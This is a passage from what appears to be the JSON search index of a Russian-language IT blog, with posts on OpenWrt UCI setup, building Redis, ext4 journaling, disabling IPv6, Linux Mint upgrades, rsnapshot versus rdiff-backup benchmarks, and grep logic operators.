system.@system[0].timezone=\u0026#39;NOVT-7\u0026#39; uci commit system timezone=$(uci get system.@system[0].timezone); [ -z \u0026#34;$timezone\u0026#34; ] \u0026amp;\u0026amp; timezone=UTC; echo \u0026#34;$timezone\u0026#34; \u0026gt; /tmp/TZ Примерный список временных зон можно найти в wiki.\nСсылки:\nhttp://wiki.openwrt.org/ru/doc/uci http://wiki.openwrt.org/doc/uci ","permalink":"https://blog.xsk.in/it/nastrojka-openwrt-s-pomoshh-yu-uci/438/","summary":"\u003cp\u003eПосле установки OpenWrt на точку доступа/роутер веб-интерфейс \u003ca href=\"http://wiki.openwrt.org/ru/doc/howto/luci.essentials\"\u003eLuCI\u003c/a\u003e может быть отключен для экономии свободного места и/или иных разумных целях. Настроить девайс можно через telnet/ssh, в случае корректной настройки в дальнейшем, кроме редкого нажатия кнопки reboot, обычно никаких мероприятий не требуется.\u003cbr\u003e\nДля начала необходимо задать пароль системному пользователю через telnet с помощью команды passwd для включения ssh-сервера и маломальской защиты от несанкционированного доступа к настройке устройства.\u003cbr\u003e\nДальнейшую настройку правильнее всего осуществлять с применением функционала UCI (\u003cem\u003e\u003cem\u003e\u003cstrong\u003eU\u003c/strong\u003e\u003c/em\u003enified \u003cem\u003e\u003cstrong\u003eC\u003c/strong\u003e\u003c/em\u003eonfiguration \u003cem\u003e\u003cstrong\u003eI\u003c/strong\u003e\u003c/em\u003enterface - англ. Центральный Конфигурационный Интерфейс\u003c/em\u003e).\u003c/p\u003e","title":"Настройка OpenWrt с помощью UCI"},{"content":"По умолчанию в репозиториях Debian 6 есть Redis версии 1.2.6, для установки абсолютно любой версии необходимо шаманить с добавлением новых источников обновлений или же собирать пакеты из исходников.\nСамый простой способ установки любой версии redis-server в Debian Squeeze представлен ниже:\nУстанавливаем необходимые для сборки пакета библиотеки\napt-get install tcl8.5 build-essential make gcc\nНаходим нужную версию в архивах на Google Codes, например не самую новую на текущий момент 2.6.13 (по данным с официального сайта, стабильной версией на сегодня является 2.8.3)\nСкачиваем её в любую директорию, например в домашнюю папку\ncd /home/ wget https://redis.googlecode.com/files/redis-2.6.13.tar.gz Распаковываем архив и переходим в него для сборки пакета\ntar zxf redis-2.6.13.tar.gz cd redis-2.6.13 Собираем, тестрируем и устанавливаем пакет\nmake make install make test Для обеспечения должного функционирования приложения необходимо далее его интегрировать в систему, это можно выполнить вручную, либо же запустить идущий в комплекте скрипт и указать ему все необходимые параметры во время интерактивной автоматической интеграции. В первом случае шаманства заключаются в следующем:\n# Копируем бинарник в систему cp src/redis-server src/redis-cli /usr/bin # Создаем директорию с конфигурационным файлом, вносим необходимые изменения в файл конфигурации, такие как порт, интерфейс и рабочая папка сервера mkdir /etc/redis cp redis.conf /etc/redis/ mcedit /etc/redis/redis.conf # Создаем отдельного пользователя со своей группой groupadd redis useradd -l -g redis redis # Выдаем новому пользователю права на логирование touch /var/log/redis.log chown redis:redis /var/log/redis.log После этих манипуляций необходимо еще найти или написать с нуля run-скрипт управления сервером. Он может быть расположен в папке с исходниками, либо можно взять вот тут или тут.\nДругой, более простой способ, работает корректно на описанной в данной инструкции версии - интерактивный скрипт инсталлятора, вызываемый из папки с исходными кодами:\n./install_server.sh\nПосле успешного завершения работы этого скрипта у нас будет запущенный на указанном в ходе установки порту сервер, запущенный под отдельным пользователем:\nnetstat -ntlp|grep redis\ntcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN 21702/redis-server\ngrep redis /etc/passwd\nredis:x:106:109:redis server,,,:/var/lib/redis:/bin/false\nps axu|grep redis\nredis 21702 0.0 0.0 7012 968 ? Ss Dec27 0:02 /usr/bin/redis-server /etc/redis/redis.conf\nСсылки:\nУстановка Redis + Redis PHP на Debian 6How To Install and Use Redis\n","permalink":"https://blog.xsk.in/it/ustanovka-redis-v-debian-squeeze/426/","summary":"\u003cp\u003eПо умолчанию в репозиториях Debian 6 есть Redis версии 1.2.6, для установки абсолютно любой версии необходимо шаманить с добавлением новых источников обновлений или же собирать пакеты из исходников.\u003cbr\u003e\nСамый \u003cem\u003eпростой\u003c/em\u003e способ установки любой версии redis-server в Debian Squeeze представлен ниже:\u003c/p\u003e","title":"Установка Redis в Debian Squeeze"},{"content":"В преддверии Нового 2014 года компания Famatech устроила небольшой квест, результатом прохождения которого является успешная авторизация на удаленной машине компании с помощью Radmin. Первому прошедшему, а также выбранному случайным образом среди всех успешно прошедших квест, в качестве приза обещают вручить внешний жесткий диск Seagate 4 Тб.\nТак как конкурс заканчивается уже завтра, этапы конкурса привёл ниже вместе с вариантом прохождения:\nЭтап 1. Определи адрес компьютера\nСосчитай все равносторонние треугольники на картинке. Для проверки правильности попытайся подключиться к компьютеру по адресу server[ЧИСЛОТРЕУГОЛЬНИКОВ].radmin.com с помощью бесплатного Radmin Viewer. Если адрес правильный, программа предложит ввести логин и пароль.\nЭтап 2. Отгадай логин\nОтгадай, что изображено на картинке. Последние 5 букв – и есть логин к Radmin Server, установленному на удаленному компьютере","permalink":"https://blog.xsk.in/it/novogodnij-konkurs-ot-radmin/417/","summary":"\u003cp\u003eВ преддверии Нового 2014 года компания Famatech устроила небольшой квест, результатом прохождения которого является успешная авторизация на удаленной машине компании с помощью Radmin. Первому прошедшему, а также выбранному случайным образом среди всех успешно прошедших квест, в качестве приза обещают вручить внешний жесткий диск Seagate 4 Тб.\u003cbr\u003e\nТак как конкурс заканчивается уже завтра, этапы конкурса привёл ниже вместе с вариантом прохождения:\u003c/p\u003e","title":"Новогодний конкурс от Radmin"},{"content":"После установки свежей системы Ubuntu 13.10 на ноутбук столкнулся с проблемой - мигает или вообще пропадает курсор мыши. Также, в браузере периодически появляются артефакты. Связав оба события пришел к выводу, что неполадки с драйверами видеокарты.\nВидеокарт в ноутбуке две: интегрированная в процессор Intel и дискретная NVIDIA. Поиски собратьев по несчастью привели на форумы, где советовали поставить Bumblebee.\nBumblebee используется для поддержки технологии NVIDIA Optimus на ноутбуках с операционными системами GNU/Linux - изображение обрабатывается с помощью видеокарты NVIDIA, которое потом будет выведено через карту Intel.\nВ Ubuntu 13.10 в официальном репозитории уже есть поддержка этого пакета, для старших версий можно поискать варианты подключения сторонних репозиториев.\nУстанавливаем свежий стабильный драйвер NVIDIA (на момент написания это версия 319):\nsudo apt-get install nvidia-319-updates nvidia-settings-319-updates Устанавливаем непосредственно bumblebee:\nsudo apt-get install bumblebee bumblebee-nvidia primus primus-libs-ia32:i386 Если в процессе установки не произошло никаких ошибок, то после перезагрузки курсор мигать перестанет, и технология Optimus будет работать должным образом.\nСсылки:\nhttp://forum.ubuntu.ru/index.php?topic=197510.0 ","permalink":"https://blog.xsk.in/it/migaet-kursor-v-ubuntu-13-10/393/","summary":"\u003cp\u003eПосле установки свежей системы Ubuntu 13.10 на ноутбук столкнулся с проблемой - мигает или вообще пропадает курсор мыши. Также, в браузере периодически появляются артефакты. Связав оба события пришел к выводу, что неполадки с драйверами видеокарты.\u003c/p\u003e\n\u003cp\u003eВидеокарт в ноутбуке две: интегрированная в процессор Intel и дискретная NVIDIA. Поиски собратьев по несчастью привели на форумы, где советовали поставить Bumblebee.\u003c/p\u003e","title":"Мигает курсор в Ubuntu 13.10"},{"content":"По умолчанию редактор комментариев в Wordpress не отличается удобством, для форматирования текста предлагается ряд тегов, использовать которые призывает надпись под полем ввода\nУбрать уродливую надпись \u0026ldquo;Можно использовать следующие \u0026lt;abbr title=\u0026ldquo;HyperText Markup Language\u0026rdquo;\u0026gt;HTML\u0026lt;/abbr\u0026gt;-теги и атрибуты: \u0026lt;code\u0026gt;\u0026lt;a href=\u0026rdquo;\u0026quot; title=\u0026quot;\u0026quot;\u0026gt; \u0026lt;abbr title=\u0026quot;\u0026quot;\u0026gt; \u0026lt;acronym title=\u0026quot;\u0026quot;\u0026gt; \u0026lt;b\u0026gt; \u0026lt;blockquote cite=\u0026quot;\u0026quot;\u0026gt; \u0026lt;cite\u0026gt; \u0026lt;code\u0026gt; \u0026lt;del datetime=\u0026quot;\u0026quot;\u0026gt; \u0026lt;em\u0026gt; \u0026lt;i\u0026gt; \u0026lt;q cite=\u0026quot;\u0026quot;\u0026gt; \u0026lt;strike\u0026gt; \u0026lt;strong\u0026gt;\u0026lt;/code\u0026gt;\u0026quot; можно, внеся изменения в файлы движка:\nИдем в директорию, куда был установлен Wordpress, и в подкаталоге wp-includes находим файл comment-template.php.\nНаходим и удаляем (или помещаем между символов \u0026lt;!\u0026ndash; и \u0026ndash;\u0026gt; для комментирования) строку\n\u0026lt;?php echo $args[\u0026#39;comment_notes_after\u0026#39;]; ?\u0026gt; По желанию устанавливаем плагин для удобного оставления комментариев, например, Comment Form Quicktags:\nК сожалению, изменения сохранятся до следующего обновления движка, поэтому после очередного апдейта надо будет провести операцию повторно.\n","permalink":"https://blog.xsk.in/it/udalit-stroku-mozhno-ispol-zovat-sleduyushhie-html-tegi-i-atributy-v-wordpress/389/","summary":"\u003cp\u003eПо умолчанию редактор комментариев в Wordpress не отличается удобством, для форматирования текста предлагается ряд тегов, использовать которые призывает надпись под полем ввода\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/12/comment-default.png\"\u003e\u003cimg alt=\"comment-default\" loading=\"lazy\" src=\"/wp-content/uploads/2013/12/comment-default.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eУбрать уродливую надпись \u0026ldquo;Можно использовать следующие \u0026lt;abbr title=\u0026ldquo;HyperText Markup Language\u0026rdquo;\u0026gt;HTML\u0026lt;/abbr\u0026gt;-теги и атрибуты: \u0026lt;code\u0026gt;\u0026lt;a href=\u0026rdquo;\u0026quot; title=\u0026quot;\u0026quot;\u0026gt; \u0026lt;abbr title=\u0026quot;\u0026quot;\u0026gt; \u0026lt;acronym title=\u0026quot;\u0026quot;\u0026gt; \u0026lt;b\u0026gt; \u0026lt;blockquote cite=\u0026quot;\u0026quot;\u0026gt; \u0026lt;cite\u0026gt; \u0026lt;code\u0026gt; \u0026lt;del datetime=\u0026quot;\u0026quot;\u0026gt; \u0026lt;em\u0026gt; \u0026lt;i\u0026gt; \u0026lt;q cite=\u0026quot;\u0026quot;\u0026gt; \u0026lt;strike\u0026gt; \u0026lt;strong\u0026gt;\u0026lt;/code\u0026gt;\u0026quot; можно, внеся изменения в файлы движка:\u003c/p\u003e","title":"Удалить строку \"Можно использовать следующие HTML-теги и атрибуты\" в Wordpress"},{"content":"Впервые возможность установить операционную систему на виртуальный жесткий диск (VHD) появилась в Windows 7. Такой вариант использования подойдет для ознакомления с операционной системы без вмешательства в конфигурацию жестких дисков. Подготовительные операции к установке заключаются в создании загрузочных диска или флешки, выделение места и все настройки происходят не посредственно из установщика.\nЗагружаемся с установочного и ждем кнопки \u0026ldquo;Install now\u0026rdquo; Жмем Shift+F10 для доступа к cmd Запускаем diskpart Ищем нужный носитель командой list disk Выбираем его командой select disk Смотрим разделы командой list vol Создаем vhd (20ГБ на D) командой create vdisk file=D:\\windows.vhd maximum 20000 Переходим на созданный диск командой select vdisk file=D:\\windows.vhd Присоединяем его, чтобы увидеть из установки, командой attach vdisk Выходим из diskpart командой exit Продолжаем штатную установку Windows. После установки у нас будет система, расположенная внутри одного файла на диске, который в случае необходимости можно безболезненно удалить.\nСсылки:\nwindowsnotes.ru/windows8/ustanavlivaem-windows-8-na-vhd/ ","permalink":"https://blog.xsk.in/it/ustanovka-windows-na-vhd/362/","summary":"\u003cp\u003eВпервые возможность установить операционную систему на виртуальный жесткий диск (VHD) появилась в Windows 7. Такой вариант использования подойдет для ознакомления с операционной системы без вмешательства в конфигурацию жестких дисков. Подготовительные операции к установке заключаются в создании загрузочных диска или флешки, выделение места и все настройки происходят не посредственно из установщика.\u003c/p\u003e","title":"Установка Windows на VHD"},{"content":"На одном из серверов установлена свежая версия Ubuntu на недавно приобретенный жесткий диск, для которого в качестве базовой файловой системой была выбрана ext4. По графику процессорного времени системы мониторинга Zabbix видно, что у сервера высокий IOWait. С помощью утилит iostat и iotop были выявлены виновники столь высокой нагрузки. Ими оказались базы MySQL (активно используемые самим Zabbix\u0026lsquo;ом) и процесс [jbd2/dm-0-8], который выполняет функцию журналирования файловой системы ext4. Причем нагрузка от второго была в разы больше, поэтому дальше будет описание процесса снижения воздействия новой файловой системы на нагрузку процессора.\nЖурналирование в новой файловой системе было включено не просто так, а для снижения рисков потери данных при всевозможных неожиданных сбоях в электропитании. Так как сервер, о котором идет речь в этой статье, подключен к бытовой электросети через источник бесперебойного питания, вероятность подобной проблемы крайне мала. Следовательно, можно практически безболезненно избавиться от процедуры \u0026ldquo;логирования всего и вся\u0026rdquo; в процессе работы системы.\nДисклеймер: последующие операции вы делаете на свой страх и риск, автор не несет никакой ответственности за убитые жесткие диски и потерянные важные данные.\nПо умолчанию в Ubuntu установлен режим journal_incompat_revoke, проверить текущее состояние можно, выполнив от учетной записи root следующую команду (указать свой раздел с ext4 вместо sdX):\ndumpe2fs /dev/sdX |grep journal Если сделать выборку по другому параметру, можно будет увидеть, ведется ли журнал:\ndumpe2fs /dev/sdX |grep features Вывод будет содержать строку с \u0026ldquo;has_journal\u0026rdquo;, если это так.\nПереводим файловую систему в режим journal_data_writeback, который оставляет журналирование лишь для метаданных и тем самым заметно ускоряет производительность файловой системы:\nЗагружаемся с LiveCD/LiveUSB или любым другим способом, чтобы можно было размонтировать раздел с файловой системой, требующей внесения изменений\nВыключаем журнал:\ntune2fs -O ^has_journal /dev/sdX Меняем режим журналирования\ntune2fs -o journal_data_writeback /dev/sdX Запускаем проверку\ne2fsck -f /dev/sdX Перезагружаемся\nПроверяем, применились ли изменения, командами\ndumpe2fs /dev/sdX |grep journal dumpe2fs /dev/sdX |grep features Ниже представлены сравнительные графики процессорного времени и дисковых операций до и после отключения журнала:\nДо После До После До После Немного теории о возможных режимах работы файловой системы, для тех кто не устал:\n* writeback mode\nIn data=writeback mode, ext4 does not journal data at all. This mode provides a similar level of journaling as that of XFS, JFS, and ReiserFS in its default mode - metadata journaling. A crash+recovery can cause incorrect data to appear in files which were written shortly before the crash. This mode will typically provide the best ext4 performance.\n* ordered mode\nIn data=ordered mode, ext4 only officially journals metadata, but it logically groups metadata information related to data changes with the data blocks into a single unit called a transaction. When it\u0026rsquo;s time to write the new metadata out to disk, the associated data blocks are written first. In general, this mode performs slightly slower than writeback but significantly faster than journal mode.\n* journal mode\ndata=journal mode provides full data and metadata journaling. All new data is written to the journal first, and then to its final location.\nIn the event of a crash, the journal can be replayed, bringing both data and\nmetadata into a consistent state. This mode is the slowest except when data\nneeds to be read from and written to disk at the same time where it outperforms all others modes. Curently ext4 does not have delayed allocation support if this data journalling mode is selected.\nСсылки:\nhttp://www.linux.org.ru/forum/linux-install/3783836#comment-3783852 ","permalink":"https://blog.xsk.in/it/otklyuchenie-zhurnalirovaniya-ext4/364/","summary":"\u003cp\u003eНа одном из серверов установлена свежая версия \u003cem\u003eUbuntu\u003c/em\u003e на недавно приобретенный жесткий диск, для которого в качестве базовой файловой системой была выбрана ext4. По графику процессорного времени системы мониторинга \u003cem\u003eZabbix\u003c/em\u003e видно, что у сервера высокий \u003cem\u003eIOWait\u003c/em\u003e. С помощью утилит \u003cem\u003eiostat\u003c/em\u003e и \u003cem\u003eiotop\u003c/em\u003e были выявлены виновники столь высокой нагрузки. Ими оказались базы \u003cem\u003eMySQL\u003c/em\u003e (активно используемые самим \u003cem\u003eZabbix\u003c/em\u003e\u0026lsquo;ом) и процесс \u003cem\u003e\u003cstrong\u003e[jbd2/dm-0-8]\u003c/strong\u003e\u003c/em\u003e, который выполняет функцию журналирования файловой системы \u003cem\u003eext4\u003c/em\u003e. Причем нагрузка от второго была в разы больше, поэтому дальше будет описание процесса снижения воздействия новой файловой системы на нагрузку процессора.\u003c/p\u003e","title":"Отключение журналирования ext4"},{"content":"После переноса веб-приложения на сервер под управлением Linux Debian перестала уходить почта. В качестве почтовой системы используется корпотивная учетная запись Gmail, соответственно отправка осуществляется путем соединения с серверами Google.\nПроверка MX записей показала, что всё в порядке:После нескольких попыток отправить письмо непосредственно из консоли в логах были обнаружены ошибки:\nDec 9 20:48:10 server sendmail[7300]: rB9GmA5B007300: from=www-data, size=798,, nrcpts=1, msgid=\u0026lt;201312091648.rB9GmA5B007300@server\u0026gt;, bodytype=8BITMIME, relay=www-data@localhost Dec 9 20:48:10 server sm-mta[7301]: rB9GmAeZ007301: from=\u0026lt;www-data@server\u0026gt;, size=1011,, nrcpts=1, msgid=\u0026lt;201312091648.rB9GmA5B007300@server\u0026gt;, bodytype=8BITMIME, proto=ESMTP, daemon=MTA-v4, relay=localhost [127.0.0.1] Dec 9 20:48:10 server sendmail[7300]: rB9GmA5B007300: to=mail@xandroskin.ru, ctladdr=www-data (33/33), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=30798, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (rB9GmAeZ007301 Message accepted for delivery) Dec 9 20:48:10 server sm-mta[7303]: STARTTLS=client, relay=aspmx.l.google.com., version=TLSv1/SSLv3, verify=FAIL, cipher=RC4-SHA, bits=128/128 Dec 9 20:48:11 server sm-mta[7303]: rB9GmAeZ007301: to=\u0026lt;mail@xandroskin.ru\u0026gt;, ctladdr=\u0026lt;www-data@server\u0026gt; (33/33), delay=00:00:01, xdelay=00:00:01, mailer=esmtp, pri=121011, relay=aspmx.l.google.com. [IPv6:2a00:1450:4008:c01::1a], dsn=5.0.0, stat=Service unavailable Dec 9 20:48:12 server sm-mta[7303]: rB9GmAeZ007301: rB9GmCeZ007303: DSN: Service unavailable Dec 9 20:48:12 server sm-mta[7303]: rB9GmCeZ007303: to=\u0026lt;www-data@server\u0026gt;, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=30000, dsn=2.0.0, stat=Sent Судя по \u0026ldquo;Service unavailable\u0026rdquo;, машина не может достучаться до почтовых серверов Google. При этом пинг до aspmx.l.google.com стабильный, проблем со связью и резолвом быть не должно. Предпринял попытку отправки почты вручную посредством telnet - сервер попытался соединиться с 2a00:1450:4008:c01::1b. Чисто теоретически можно было бы настроить IPv6 работу с почтой. Но из-за лени и консервативности автора решение было более простым - отключить IPv6 на корню.Сделать это можно несколькими способами, в том числе пересобрав ядро без соответствующего модуля. Что характерно, ранее проект находился на Ubuntu сервере, там по умолчанию модуль выключен. Проще всего - добавить в /etc/sysctl.conf строчку net.ipv6.conf.all.disable_ipv6=1 и выполнить команду\nsysctl -p для внесения изменений (применится всё содержимое вышеуказанного файла, если нет уверенности в необходимости этого - можно установить значение переменной вручную, не затрагивая остальные параметры, командой\nsysctl net.ipv6.conf.all.disable_ipv6=1 Ссылки:\n[Debian.wiki] How_to_turn_off_IPv6 ","permalink":"https://blog.xsk.in/it/otklyuchenie-ipv6-v-debian/357/","summary":"\u003cp\u003eПосле переноса веб-приложения на сервер под управлением Linux Debian перестала уходить почта. В качестве почтовой системы используется корпотивная учетная запись Gmail, соответственно отправка осуществляется путем соединения с серверами Google.\u003c/p\u003e\n\u003cp\u003eПроверка MX записей показала, что всё в порядке:\u003ca href=\"/wp-content/uploads/2013/12/gmail.png\"\u003e\u003cimg alt=\"gmail\" loading=\"lazy\" src=\"/wp-content/uploads/2013/12/gmail.png\"\u003e\u003c/a\u003eПосле нескольких попыток отправить письмо непосредственно из консоли в логах были обнаружены ошибки:\u003c/p\u003e","title":"Отключение IPv6 в Debian"},{"content":"Состоялся релиз нового дистрибутива Linux Mint. Новая 16 версия получила имя Petra.\nО том, как перейти на новую версию с предыдущей с помощью терминала, нескольких команд, хорошего интернета и часа свободного времени, под катом.\n1. Актуализируем текущую систему с помощью стандартной процедуры обновления\nsudo apt-get update sudo apt-get upgrade 2. Устанавливаем новые репозитории, для этого производим замену текущих ссылок на обновленные (новый дистрибутив создан на основе Ubuntu 13.10, следовательно его репозитории и будут использоваться в новой системе)\nsudo sed -i \u0026#39;s/raring/saucy/\u0026#39; /etc/apt/sources.list.d/official-package-repositories.list sudo sed -i \u0026#39;s/olivia/petra/\u0026#39; /etc/apt/sources.list.d/official-package-repositories.list 3. Обновляем кэш и приступаем к апгрейду системы\nsudo apt-get update sudo apt-get dist-upgrade В процессе обновления необходимо будет отвечать на вопросы об изменениях в конфигурационных файлах, можно оставить всё по умолчанию, либо же заменить новыми с помощью ответа Y (выбирайте на свое усмотрение, никто кроме вас не несет ответственности и тд и тп).\nПосле завершения обновления перезагрузите систему.\n","permalink":"https://blog.xsk.in/it/obnovlenie-linux-mint-15-olivia-do-linux-mint-16-petra/278/","summary":"\u003cp\u003eСостоялся релиз нового дистрибутива Linux Mint. Новая 16 версия получила имя Petra.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/12/linux-mint-petra.png\"\u003e\u003cimg alt=\"linux-mint-petra\" loading=\"lazy\" src=\"/wp-content/uploads/2013/12/linux-mint-petra.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eО том, как перейти на новую версию с предыдущей с помощью терминала, нескольких команд, хорошего интернета и часа свободного времени, под катом.\u003c/p\u003e\n\u003cp\u003e1. Актуализируем текущую систему с помощью стандартной процедуры обновления\u003c/p\u003e","title":"Обновление Linux Mint 15 Olivia до Linux Mint 16 Petra"},{"content":"Рано или поздно настройкой резервного копирования рабочих файлов озадачивается любой уважающий себя современный IT специалист. После ряда опечаток/ошибок программистов нашлось время для этого и у меня. Специфика веб-приложения такова, что рабочий каталог занимает более 50ГБ на жестких дисках, включая в себя около 900 тысяч мелких файлов (картинки, превьюшки, \u0026hellip;). Поэтому в лоб решить задачу с помощью tar и аналогов не вышло. Да и хотелось бы иметь некоторую вариативность хранимых данных, а в случае с полным бэкапом реализация требовала больших затрат на хранение по сути одинаковых данных с небольшими изменениями. Плюс неплохо было бы дублировать копии на удаленном сервере бэкапов для снижения риска потери критической информации в результате краха железа. После скрупулезного анализа поисковых выдач и отбрасывания заведомо неподходящих мне методов, остановился на паре вариантов, навязываемых чаще всего в комментариях к самописным shell-велосипедам энтузиастов.\nrdiff-backup rdiff-backup показался с виду более подходящим и удобным. Написанный на python, он хранит данные инкрементально, позволяя получить состояние файла или директории в любой момент времени (в обозримом прошлом, учитывая время хранения снимков). Гибкое управление из консоли дает полную свободу действий и предоставляет полный контроль за ситуацией. Автоматическое создание бэкапов требует добавления в планировщик пары команд (вторая для подчистки старых снимков, не несущих какой-либо ценности в силу давности изменений). Но тестирование показало, что утилита весьма прожорлива и справляется с моей задачей крайне неохотно. Дело в том, что ежедневно изменяется небольшой объем данных (300МБ), но изменения затрагивают около 30 тысяч файлов. На выявление измененных файлов, судя по всему, тратится бОльшая часть времени работы программы. После часа наблюдений на увеличившийся до неприличных 20% iowait во время очередного запуска скрипта было принято решение попробовать другой софт и сравнить их между собой.\nrsnapshot rsnapshot, написанный на Perl, базируется на rsync. В рабочей директории программы (назовём так место, куда складываются бэкапы), создается ряд папок с индексом, который при каждом следующем запуске программы увеличивается до указанного в конфигурации значения. Затем устаревшая копия удаляется. Если пройти в любую из созданных папок, то внутри можно найти полную копию резервируемых данных. На это указывает и общий размер папки (при просмотре стандартными средствами Midnight Commander, например) - он равен сумме всех папок. На самом деле это не так. Программа создает жесткие ссылки между одинаковыми данными в пределах рабочего каталога. Таким образом, последняя актуальная копия является самой \u0026ldquo;тяжелой\u0026rdquo;, а размер всех остальных составляет разницу в измененных данных.\nТестирование Так, как оба варианта используют приблизительно одинаковый размер для хранения, пришло время проверить скорость выполнения заданий по созданию резервных копий. Для тестов была взята случайная папка проекта размером 11ГБ, содержащая 593 подкаталога разной степени вложенности и 230911 файлов. Размер файлов плавает от 4 до 800КБ, как указано выше, это в графический материал. Обе утилиты тестировались поочередно, внешние факторы практически полностью отсутствовали (нет других пользователей, нагрузки и тяжелых процессов). С помощью утилиты time было подсчитано время выполнения каждого из тестовых заданий, а также для сравнения копирование всего каталога средствами cp:\nПервый бэкап - полное копирование в место бэкапа 11090МБ\nreal user sys cp 6m30.885s 0m1.068s 0m24.554s rsnapshot 7m53.879s 1m57.299s 1m22.441s rdiff-backup 10m50.314s 3m26.073s 1m0.928s Повторный запуск (в папке не было изменений)\nreal user sys rsnapshot 0m10.129s 0m4.936s 0m6.708s rdiff-backup 1m3.969s 1m0.616s 0m2.048s Внутри каталога одна случайная папка дублируется (общий размер увеличивается до 13267МБ)\nreal user sys rsnapshot 0m31.175s 0m22.001s 0m17.365s rdiff-backup 27m53.517s 1m58.819s 0m19.005s Повторный запуск после увеличения размера каталога (с последнего выполнения изменений нет)\nreal user sys rsnapshot 0m11.477s 0m5.748s 0m7.368s rdiff-backup 1m16.366s 1m13.713s 0m1.912s Удаляем сдублированную папку, уменьшая размер каталога до первоначального\nreal user sys rsnapshot 0m13.885s 0m6.388s 0m9.077s rdiff-backup 52m55.794s 2m1.560s 0m21.941s Контрольный повторный запуск без внесения изменений\nreal user sys rsnapshot 0m11.250s 0m5.132s 0m7.068s rdiff-backup 1m2.380s 1m0.088s 0m1.792s Итоги Как видно из таблиц сравнительного тестирования, rdiff-backup тяжело переваривает изменение большого количества мелких файлов, следовательно, рентабельнее использовать rsnapshot, дабы не тратить бОльшую часть времени работы сервера на пустое ковыряние в файловой системе. Возможно кому-то будет полезным увидеть результат тестирования и сэкономить затраченное мною время на поиск оптимального для описанных в статье случаев резервного копирования файлов.\n","permalink":"https://blog.xsk.in/it/be-kap-bol-shogo-kolichestva-melkih-fajlov/287/","summary":"\u003cp\u003eРано или поздно настройкой резервного копирования рабочих файлов озадачивается любой уважающий себя современный IT специалист. После ряда опечаток/ошибок программистов нашлось время для этого и у меня. Специфика веб-приложения такова, что рабочий каталог занимает более 50ГБ на жестких дисках, включая в себя около 900 тысяч мелких файлов (картинки, превьюшки, \u0026hellip;). Поэтому в лоб решить задачу с помощью tar и аналогов не вышло. Да и хотелось бы иметь некоторую вариативность хранимых данных, а в случае с полным бэкапом реализация требовала больших затрат на хранение по сути одинаковых данных с небольшими изменениями. Плюс неплохо было бы дублировать копии на удаленном сервере бэкапов для снижения риска потери критической информации в результате краха железа. После скрупулезного анализа поисковых выдач и отбрасывания заведомо неподходящих мне методов, остановился на паре вариантов, навязываемых чаще всего в комментариях к самописным shell-велосипедам энтузиастов.\u003c/p\u003e","title":"Бэкап большого количества мелких файлов"},{"content":" Операция ИЛИ Операция И Операция НЕ Регулярные выражения Операция ИЛИ grep \\| grep \u0026#39;слово1\\|слово2\u0026#39; файл_данных.txt grep -E (расширенный regexp) и эквивалентный ему egrep grep -E \u0026#39;слово1|слово2\u0026#39; файл_данных.txt egrep \u0026#39;слово1|слово2\u0026#39; файл_данных.txt grep -e grep -e слово1 -e слово2 файл_данных.txt Операция И grep -E grep -E \u0026#39;слово1.*слово2\u0026#39; файл_данных.txt (в только таком порядке)\ngrep -E \u0026#39;слово1.*слово2|слово2.*слово1\u0026#39; файл_данных.txt grep -E \u0026#39;слово1\u0026#39; файл_данных.txt | grep -E \u0026#39;слово2\u0026#39; (независимо от порядка)\nОперация НЕ grep -v grep -v \u0026#39;слово1\u0026#39; файл_данных.txt Регулярные выражения Регулярные выражения состоят из двух типов символов: обычные символы языка и метасимволы, позволяющие усилить мощность выражений. Рассмотрим текстовый файл, содержащий перечисленные через запятую страны, их население и континент расположения:\n$ cat country.txt India,1014003817,Asia Italy,57634327,Europe Yemen,1184300,Asia Argentina,36955182,Latin America Brazil,172860370,Latin America Cameroon,15421937,Africa Japan,126549976,Asia Метасимволы ^ и $ указывают на начало и конец шаблона выражения:\n$ egrep \u0026#39;^I\u0026#39; country.txt India,1014003817,Asia Italy,57634327,Europe $ egrep \u0026#39;e$\u0026#39; country.txt Italy,57634327,Europe Метасимвол точка (.) позволяет задать любой один символ в выражении, а обрамление в квадратные скобки []\nуказывает на наличие одного из шаблонов внутри скобов. Например, выбрать из файла все страны, начинающиеся на I или J с длиной 5 букв, можно так:\n$ egrep \u0026#39;^[IJ]....,\u0026#39; country.txt India,1014003817,Asia Italy,57634327,Europe Japan,126549976,Asia Вместо 5 подряд точек можно указать их количество с помощью фигурных скобок {} (или квантификатора):\n$ egrep \u0026#39;^[IJ].{4},\u0026#39; country.txt Аналогично, можно задать вилку количества символов в шаблоне, например от 4 до 6:\n$ egrep \u0026#39;^[IJ].{4,6},\u0026#39; country.txt Для некоторых квантификаторов существуют короткие замены. Так, {0,1} эквивалентно ?, {0,} - *, {1,} - +, поэтому следующие две команды идентичны:\n$ egrep \u0026#39;^ab{0,1}c$\u0026#39; filename $ egrep \u0026#39;^ab?c\u0026#39; filename Использование ^ вместе с [\u0026hellip;] дает отрицание. Выбрать все страны, не начинающиеся на I или J:\n$ egrep \u0026#39;^[^IJ]\u0026#39; country.txt Yemen,1184300,Asia Вывести содержимое файла без пустых и начинающихся с \u0026ldquo;#\u0026rdquo; строк (применимо к файлам конфигурации) можно с помощью следующих команд:\ngrep -vE \u0026#39;^#|^$\u0026#39; файл_данных.txt grep \u0026#34;^[^#]\u0026#34; файл_данных.txt grep \u0026#34;^[$#]\u0026#34; файл_данных.txt Ссылки:\nRegular Expressions in Grep Command with 10 Examples – Part I Advanced Regular Expressions in Grep Command with 10 Examples – Part II 15 Practical Grep Command Examples In Linux / UNIX Хабрахабр / Исследуем Linux Botnet «BillGates» An Introduction To Regular Expressions ","permalink":"https://blog.xsk.in/it/logicheskie-operatsii-v-grep/289/","summary":"\u003col\u003e\n\u003cli\u003e\u003ca href=\"/#OR\"\u003eОперация ИЛИ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/#AND\"\u003eОперация И\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/#NOT\"\u003eОперация НЕ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca 